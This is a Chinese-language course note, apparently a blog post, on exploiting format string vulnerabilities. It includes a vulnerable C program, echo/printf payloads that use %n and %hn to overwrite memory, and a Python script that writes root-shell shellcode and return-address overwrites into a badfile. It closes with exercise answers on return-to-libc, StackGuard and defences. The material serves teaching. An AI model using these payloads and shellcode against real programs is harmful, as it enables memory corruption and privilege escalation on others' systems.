然后接着就可以用 %n 其会将已经打印的字符数写进参数指向地址

我们要修改var就需要地址放入栈(代码中缓冲区在栈上,因此恶意将地址作为输入一部分),然后构造写入%n即可

具体看手段,假定地址是0xbffff304已经获取了,它本身不在栈上,我们就把地址放栈上即可,我们怎么构造载荷

$ echo $(printf "\x04\xF3\xFF\xBF").%x.%x.%x.%x.%x.%n > input

这个看着比较唬人就是二进制做成字符串然后拼在前面,记住小端序就好

![[Pasted image 20251113104640.png]]

这个%x可以试出来。第六个刚好出来0x11223344,然后我们就把这里放成%n,然后覆盖进去刚好是0x2c也就是44 (前面已打印了4个字节的地址(显示为乱码)和5组8位的十六进制数及5个点,共计44个字符。因此,var的值被修改为了44(即0x2c)。)【仔细思考,%x和%d没区别】

具体怎么算的比较奇妙

假设我们想改成定值,那么就用精度修饰符.number即可,.5就是控制5位,直接看例

C
$ echo $(printf "\x04\xf3\xff\xbf")%.8x%.8x%.8x%.8x\%.10000000x%n > input
$ uvl < input
Target address: bffff304
Data at target address: 0x11223344
Please enter a string: ****00000063b7fc5ac0b7eb8309bffff33f000000
00000000000000(many 0's omitted)000000000000011223344
Data at target address: 0x9896a4

最后一个x前,打印36个,4个来自开始地址,32个是四个.8x导致的,就是10000036

为了将内存修改为任意指定值(如0x66887799),直接利用%n打印十几亿字符效率极低。更高效的方法是利用printf的长度修饰符,实现分字节写入。

  • %n:写入4字节整数。
  • %hn:写入2字节短整数。
  • %hhn:写入1字节字符。

我们可以将目标值0x66887799拆分为两部分:高2位的0x6688和低2位的0x7799。分别使用两个%hn对var的高地址(0xbffff306)和低地址(0xbffff304)进行写入。

简单来说就是拆位

C
# Payload: [高地址][填充][低地址][移动指针][打印到0x6688][写入高位][打印差值][写入低位]
$ echo $(printf "\x06\xf3\xff\xbf@@@@\x04\xf3\xff\xbf")%.8x%.8x%.8x%.8x%.26204x%hn%.4369x%hn > input
$ ./vul < input
...
目标地址数据: 0x66887799 <-- 值被精准修改

![[Pasted image 20251113105520.png]] 一张图就看懂了,本质上用的溢出

利用格式化字符串漏洞实现代码注入与提权

C
#include <stdio.h>

void fmtstr(char *str)
{
    unsigned int *framep;
    unsigned int *ret;

    // Copy ebp into framep
    asm("movl %%ebp, %0" : "=r" (framep));               🅰
    ret = framep + 1;

    /* print out information for experiment purpose */
    printf("The address of the input array:  0x%.8x\n", 
            (unsigned)str);
    printf("The value of the frame pointer:  0x%.8x\n", 
            (unsigned)framep);
    printf("The value of the return address: 0x%.8x\n", *ret);

    printf(str); // The vulnerable place    

    printf("\nThe value of the return address: 0x%.8x\n", *ret);
}

int main(int argc, char **argv)
{
    FILE *badfile;
    char str[200];

    badfile = fopen("badfile", "rb");
    fread(str, sizeof(char), 200, badfile);
    fmtstr(str);

    return 1;
}

![[Pasted image 20251113121132.png]] 一个代码就把模板说出来了

PYTHON
#!/usr/bin/python3

import sys

shellcode= (
  "\x31\xc0\x31\xdb\xb0\xd5\xcd\x80"                   🅰
  "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50"
  "\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x00"
).encode('latin-1')

N = 200

# 往字符串里填满NOP
content = bytearray(0x90 for i in range(N))

# 把shellcode放在尾部
start = N - len(shellcode)
content[start:] = shellcode

# 把返回值域的地址放在格式化字符串的头部
addr1 = 0xbfffebee                                     🅱
addr2 = 0xbfffebec
content[0:4]  = (addr1).to_bytes(4,byteorder='little')
content[4:8]  = ("@@@@").encode('latin-1')
content[8:12] = (addr2).to_bytes(4,byteorder='little') 🅲

# 加上 %x 和 %hn
small   = 0xbfff - 12 - 19*8                           🅳
large   = 0xeca4 - 0xbfff                              
s   = "%.8x"*19 + "%." + str(small) + "x%hn%." \
                       + str(large) + "x%hn"
fmt  = (s).encode('latin-1')
content[12:12+len(fmt)] = fmt                          🅴

# 把构造好的字符串写入文件
with open('badfile', 'wb') as f:
  f.write(content)

不额外解释了 试错次数等于第一次出现var值的%x的位次-1【用(高占低共12个字节)+ [%x]*N去试】

PLAINTEXT
高占低 + (试错次数减一)个[%.8x/%.8d] + %.$(ret高2字节-12-8*(试错次数减一))x + %hn + %.$(ret低2字节-高2字节)【溢出则循环】x + %hn

习题

![[Pasted image 20251130160441.png]]

S6.1. 编写可变参数函数

题目大意:请编写一个函数,接受可变数量的字符串作为参数,并打印出它们的总长度。

前置知识: 在 C 语言中,当函数参数数量不确定时(比如 printf),需要使用 <stdarg.h> 库。

  • va_list: 用于遍历参数的指针。
  • va_start: 初始化指针。
  • va_arg: 获取下一个参数。
  • va_end: 清理指针。
  • 关键点:函数需要知道什么时候停止读取参数,通常通过一个特殊的结束标记(如 NULL)或者第一个参数指定数量。这里我们使用 NULL 作为哨兵值。

详细解答

C
#include <stdio.h>
#include `<stdarg.h>`
#include <string.h>

// 函数定义:接受可变数量的参数
void printTotalLength(char *firstStr, ...) {
    int totalLen = 0;
    char *str;
    
    // 如果第一个参数就是 NULL,直接返回
    if (firstStr == NULL) {
        printf("Total length: 0\n");
        return;
    }

    totalLen += strlen(firstStr);

    va_list ap;            // 定义参数列表指针
    va_start(ap, firstStr); // 初始化,从 firstStr 之后开始获取

    // 循环读取后续参数,直到遇到 NULL
    while ((str = va_arg(ap, char *)) != NULL) {
        totalLen += strlen(str);
    }

    va_end(ap); // 清理

    printf("Total length: %d\n", totalLen);
}

// 用法示例:printTotalLength("Hello", "World", NULL);

S6.2. 缓冲区溢出 vs 格式化字符串漏洞

题目大意:缓冲区溢出和格式化字符串漏洞都能修改栈上的“返回地址”,从而改变程序流。请描述两者的修改方式有何不同,并评价谁的限制更少。

详细解答

  1. 修改方式的区别

    • 缓冲区溢出 (Buffer Overflow):这是一种连续的内存破坏。攻击者必须从缓冲区开始,填满所有中间的内存空间,直到覆盖到返回地址。就像把水倒进杯子溢出来弄湿桌布一样,你不能跳过中间的区域。
    • 格式化字符串 (Format String):这是一种指针算术写入。通过构造特定的格式化字符(如 %10$n),攻击者可以直接“计算”出栈上任意位置的指针,并向该地址写入数据。它像狙击手一样,不需要触碰中间的数据,直接跳跃到目标地址进行修改。
  2. 谁受到的限制更少?

    • 格式化字符串漏洞受限更少(更灵活)
    • 原因:缓冲区溢出要求缓冲区和返回地址之间是连续可写的,如果中间有“金丝雀值 (Canary)”保护(StackGuard),攻击就会失败。而格式化字符串漏洞可以利用 %n 精确打击,绕过中间的保护机制(如 Canary),直接修改返回地址。

S6.3. StackGuard 对格式化字符串的防御

题目大意:我们可以使用 StackGuard(栈保护/金丝雀)来防御格式化字符串攻击吗?

详细解答

  • 不能。
  • 原因:StackGuard 的原理是在返回地址和局部变量之间放置一个随机数(Canary)。函数返回前检查这个数是否被修改,以判断是否发生了连续的缓冲区溢出。
  • 如 S6.2 所述,格式化字符串攻击使用的是非连续写入。攻击者可以使用 %n 配合偏移量,直接定位到返回地址所在的内存单元进行修改,完全不触碰也不改变 Canary 的值。因此,StackGuard 无法检测到这种攻击。

S6.4. 100% 造成程序崩溃

题目大意printf(fmt) 执行时,栈上有 fmt 指针,后面紧跟着四个 4 字节数值:0xAABBCCDD, 0xAABBDDFF, 0x22334455, 0x00000000。如果你能控制 fmt 字符串,最少用几个格式说明符能保证程序 100% 崩溃?

前置知识

  • %s 说明符的作用是:取出栈上的数值作为内存地址,然后去读取该地址处的字符串。
  • 如果你让 %s 去读取一个无效地址(如 0x00000000 即 NULL,或者未映射的内存),程序会触发段错误 (Segmentation Fault) 并崩溃。

详细解答

  • 分析
    • 第 1 个参数位:0xAABBCCDD。这个地址 可能 是合法的(虽然概率小,但在某些系统中可能是内核或栈地址),读取它不一定会立刻崩溃。
    • 第 2 个参数位:0xAABBDDFF。同上,不确定的风险。
    • 第 3 个参数位:0x22334455。同上。
    • 第 4 个参数位:0x00000000。这是 NULL 指针。在任何现代操作系统中,尝试读取地址 0 的内容 绝对 会导致崩溃。
  • 结论:为了保证 100% 的概率,我们必须让 printf 读到第 4 个数值并将其作为地址解析。
  • 构造:我们需要“吃掉”前 3 个数值,然后对第 4 个数值使用 %s
  • 答案:最少需要 4 个说明符。例如:%d%d%d%s%x%x%x%s(甚至 %s%s%s%s 也可以,只要前三个碰巧没崩,第四个必崩;但为了从逻辑上“到达”第四个,4个是必须的)。

S6.5. 构造攻击 Payload (基础)

题目大意:根据图1(Figure 1),用户输入被存放在 Buffer(区域2)。fmt 变量指向这个 Buffer。

  • Buffer 地址(即 fmt 的值):0xAABBCCDD
  • 返回地址存放位置(区域1):0xAABBCDA6
  • fmt 变量本身的地址(区域3)与 Buffer 之间相距 28 字节。
  • 目标:让程序执行存储在 Buffer 中的“恶意代码 (malicious code)”。请写出输入的具体内容结构。

前置知识

  • printf 的参数是放在栈上的。当执行 printf(fmt) 时,fmt 字符串本身在栈上(由 fmt 指针指向)。
  • 计算偏移:我们需要用 %x 来“路过”栈上的数据,直到 printf 的内部指针指向我们的 Buffer 开头。
  • 题目说 fmt 变量地址和 Buffer 之间有 28 字节。栈宽通常是 4 字节。28÷4=728 \div 4 = 7。这意味着,栈上第 7 个参数位置之后,就是我们的 Buffer 内容。
  • 攻击逻辑:我们将“目标地址(返回地址的地址)”放在 Buffer 开头,然后用 %x 移动指针,最后用 %n 向这个目标地址写入数据。
  • 写入什么值? 我们希望返回地址变成 Buffer 的起始地址(即恶意代码的位置),也就是 0xAABBCCDD

详细解答: 我们需要构造的输入字符串(即 fmt 指针指向的内容)如下:

  1. 目标地址:我们想覆盖的地址是 0xAABBCDA6。放在字符串开头(4字节)。
  2. 填充/恶意代码:紧接着是我们的恶意代码(Shellcode)。
  3. 格式说明符
    • 我们需要跳过栈上这 28 字节的间隔。也就是 7 个 %x(每个吃掉4字节)。
    • 但是等等,我们将“目标地址”放在了 Buffer 的最开头。所以当指针跳过 28 字节后,它正指向 Buffer 的开头,也就是指向了 0xAABBCDA6 这个数值。
    • 此时使用 %n,就会向 0xAABBCDA6 指向的内存单元写入当前打印的字符数。

修正后的精确结构: 为了让 %n 写入的值等于 0xAABBCCDD (十进制 2,864,434,397),我们需要在 %n 之前打印这么多字符。

输入内容布局[目标地址 0xAABBCDA6] [恶意代码 Shellcode] [填充字符] [%x ... %x] [%n]

注意:这道题只要求写出结构,不需要计算精确的 padding 字符数。关键在于利用 28 字节偏移。

答案结构

TEXT
\xA6\xCD\xBB\xAA   <-- 目标地址 (Little Endian, 4 bytes)
[Malicious Code]   <-- 恶意代码存放于此
...                <-- 适当的填充字符,使 %n 之前的总打印字符数等于 0xAABBCCDD
%x%x%x%x%x%x%x     <-- 7个 %x 用来跳过栈上 28 字节的距离
%n                 <-- 将当前打印字符数写入到栈顶指针指向的地址 (即开头的目标地址)

(注意:通常为了对齐,我们可能需要在 %x 和 %n 之间微调,但基于题目描述,核心是 7 个 4字节偏移)


S6.6. 缩短打印字符数 (< 80,000)

题目大意:S6.5 的方案需要打印 28 亿个字符,太慢了。请修改方案,使打印字符总数少于 80,000。

前置知识

  • %hn:这是 %n 的短整数(short)版本,一次只写 2 个字节(16 bit)。
  • 要写入一个大数 0xAABBCCDD,我们可以把它拆成两半:高位 0xAABB 和 低位 0xCCDD
  • 我们需要写两次。一次向地址 ADDR 写入低位,一次向 ADDR+2 写入高位。
  • 0xAABB (43707) 和 0xCCDD (52445) 都小于 80,000。

详细解答: 我们需要构造两个地址在 Buffer 开头:

  1. 地址1:0xAABBCDA6 (用于写低位 0xCCDD)
  2. 地址2:0xAABBCDA8 (即 A6 + 2,用于写高位 0xAABB)

输入字符串结构

TEXT
[Addr1: \xA6\xCD\xBB\xAA]  (4 bytes)
[Addr2: \xA8\xCD\xBB\xAA]  (4 bytes)
[Malicious Code / Padding]
[7个 %x]                   (用来跳过栈间隔)
%unc_padding_1             (输出一些空格,使总长度达到 0xCCDD = 52445)
%hn                        (写入低位)
%unc_padding_2             (继续输出空格,使总长度达到 0x1AABB = 109243,注意这是溢出写法,或者调整顺序)
%hn                        (写入高位)

技巧:由于 0xCCDD (52445) > 0xAABB (43707),我们可以先写小的,或者利用整数溢出(打印到 65536 + 43707)。题目只要求总字符少于 80,000,这暗示我们应该先写小的值,再写大的值? 不对,这里的值是 0xCCDD0xAABB。 如果先写 0xAABB (43707),再加 padding 到 0xCCDD (52445),增量是正数,总数 52445 < 80,000。符合题意。

最终方案逻辑

  1. 放入地址 Addr_High (...A8) 和 Addr_Low (...A6)。
  2. 利用 %x 跳到这两个地址的位置。
  3. 利用精度控制 %43000x 等方式凑字数。
  4. 先让计数器达到 0xAABB,对 Addr_High%hn
  5. 再增加计数器达到 0xCCDD,对 Addr_Low%hn。 总打印字符数:0xCCDD (约 5.2 万),满足 < 80,000 要求。

S6.7. 字节未对齐 (26 字节)

题目大意:如果 fmt 和 Buffer 的距离是 26 字节(不是 4 的倍数),该怎么构造?

核心难点: 栈操作(如 %x)是以 4 字节(Word)为单位移动的。26 = 6 * 4 + 2。 如果我们直接放地址在 Buffer 开头,printf 读过 6 个整数后,指针会停在 Buffer 之前的 2 个字节处。此时读取下一个 4 字节,会读到 [2字节垃圾数据] + [地址的前2字节],导致地址错位,无法正确使用 %n

详细解答: 我们需要在 Buffer 的最开头填充 2 字节的垃圾数据,强行让后面的地址对齐到 4 字节边界。

输入构造

  1. 填充XX (2 bytes)。此时 Buffer 偏移变成 26 + 2 = 28 bytes。
  2. 目标地址0xAABBCDA6
  3. 后续逻辑:同 S6.5。
  4. 由于现在总距离(栈间隔+填充)看起来像是 28 字节(7个字),我们可以安全地使用 7 个 %x 移动指针,第 8 个参数位置就会完美对齐我们的目标地址。

答案字符串XX + [Address] + [Malicious Code] + %x... + %n


![[Pasted image 20251130160522.png]]

S6.8. 多目标地址爆破 (★)

题目大意:我们不知道确切的返回地址,只知道它在 ...A0, ...A4, ...A8, ...AC 这四个地址之一。请构造一个字符串,一次性搞定所有可能,且打印字符少于 80,000。

策略: 我们需要把这 4 个地址都作为目标写入。因为只有一个是真正的返回地址,覆盖其他的(通常是上一层栈帧的指针)虽然有副作用,但为了 Exploitation 成功通常是可以接受的。

详细解答

  1. 数据准备:我们要往这 4 个地址写入相同的值(即 Shellcode 地址 0xAABBCCDD)。

  2. 利用 %hn:同 S6.6,我们需要分高低位写。

    • 目标值:High 0xAABB, Low 0xCCDD
    • 我们需要对 4 个地址分别写 Low,对 4 个地址分别写 High。总共 8 次写入?不,我们可以成批操作。
  3. Input 布局: 在 Buffer 开头放入所有需要的地址。为了对齐和方便,我们可以交替放,或者利用 %n 的特性。 最简单的方法:

    • A0, A4, A8, AC 这四个地址都放在 Buffer 开头。
    • 但是我们要写两半。所以我们需要构造 8 个指针在栈上?
    • 更聪明的做法:因为要写入的值是一样的。
    • 我们可以构造: [A0_L][A4_L][A8_L][AC_L] (一组用于写低位 0xCCDD) [A0_H][A4_H][A8_H][AC_H] (一组用于写高位 0xAABB) (每个地址4字节,共 32 字节头部)
  4. 执行流

    • 跳过前面的头部(计算好 %x 的数量)。
    • 第一阶段:输出字符达到 0xAABB (43707)。
    • 连续使用 4 个 %hn。这会把 0xAABB 写入到 A0_H, A4_H, A8_H, AC_H
    • 第二阶段:继续输出字符,补足差额直到 0xCCDD (52445)。
    • 连续使用 4 个 %hn。这会把 0xCCDD 写入到 A0_L, A4_L, A8_L, AC_L
  5. 结果:所有 4 个潜在位置都被写入了 0xAABBCCDD。无论哪个是真正的返回地址,攻击都会成功。总字符数 52445 < 80,000


S6.9. 编译器的参数检查

题目大意:编译器如果发现 printf 参数数量和格式说明符不匹配会报警。这有什么局限性?

详细解答

  • 局限性:编译器只能检查字符串字面量 (String Literal)
  • 如果代码是 printf("%s %d", arg1);,编译器能发现少了一个参数。
  • 但格式化字符串漏洞通常发生在 printf(fmt),其中 fmt 是一个运行时由用户输入的变量。编译器在编译阶段无法知道 fmt 里面将会是什么内容,因此无法进行检查。

S6.10. 暂时降低权限

题目大意:在执行 printf 前暂时丢弃特权(如 root),执行后再恢复(或无法恢复)。这对防御有用吗?

详细解答

  • 有用,这叫最小权限原则 (Principle of Least Privilege)。
  • 如果攻击者成功利用漏洞劫持了程序流并打开了一个 Shell,这个 Shell 将只有程序当前的权限。
  • 如果在 printf 期间程序以普通用户权限运行,攻击者得到的也就是一个普通用户的 Shell,造成的危害比 Root Shell 小得多。这是一个很好的纵深防御 (Defense in Depth) 策略。

S6.11. 不可执行栈 (Non-executable Stack)

题目大意:如果栈不可执行,还能利用格式化字符串漏洞获取 Shell 吗?

详细解答

  • 可以。
  • 方法:虽然不能在栈上执行我们注入的 Shellcode,但我们可以利用 Return-to-Libc 攻击。
  • 我们不把返回地址改成栈上的地址,而是把它改成标准库函数 system() 的地址。同时,我们通过精心构造栈结构,把字符串 "/bin/sh" 的地址作为参数传给 system()。这样程序返回时就会执行 system("/bin/sh")

S6.12. Return-to-Libc 实现细节

题目大意:如何利用格式化字符串漏洞实现 Return-to-Libc?结合图1描述需要修改栈的哪些部分。

详细解答: 我们需要利用格式化字符串的任意写能力(%n),修改栈上的数据以模拟函数调用 system("/bin/sh") 的栈帧结构。

在 Figure 1 的语境下,我们需要修改 Region 1 (Return Address) 及其上方的内存:

  1. 覆盖 Return Address (Region 1):将其修改为 system() 函数在内存中的真实地址。
  2. 构造伪造的返回地址:在 Region 1 的高地址方向紧邻的位置(即 Region 1 + 4),通常需要放一个“函数执行完后的返回地址”(例如 exit() 的地址),以保证 system 结束后程序能优雅退出(虽然对攻击本身不是必须的,但符合调用约定)。
  3. 构造参数:在下一个位置(即 Region 1 + 8),我们需要写入指向字符串 "/bin/sh" 的指针地址。

总结:利用 %n 分别向这三个连续的栈地址写入特定的数值。


S6.13. 写入小数字 (如 0)

题目大意:如果想往目标地址写 0,但 printf 在移动指针到目标位置时必然已经打印了一些字符(导致计数器非零),还能写 0 吗?

详细解答

  • 可以。
  • 原理整数溢出 (Integer Overflow)
  • %n (或 %hn) 写入的是打印字符总数。如果使用 %hn(写入 2 字节,范围 0-65535),该计数器在超过 65535 后会回绕 (Wrap around)。
  • 操作:假设为了移动指针我们已经打印了 5 个字符。我们继续打印填充字符,直到总数达到 65536(即 0x10000)。
  • 此时执行 %hn,它截取低 16 位,即 0x0000,也就是 0。从而成功写入 0。

Thanks for reading!

格式化字符串攻击:从栈帧布局到任意内存读写

周日 11月 30 2025 Course
13039 字 · 54 分钟
cover

His Smile

麗美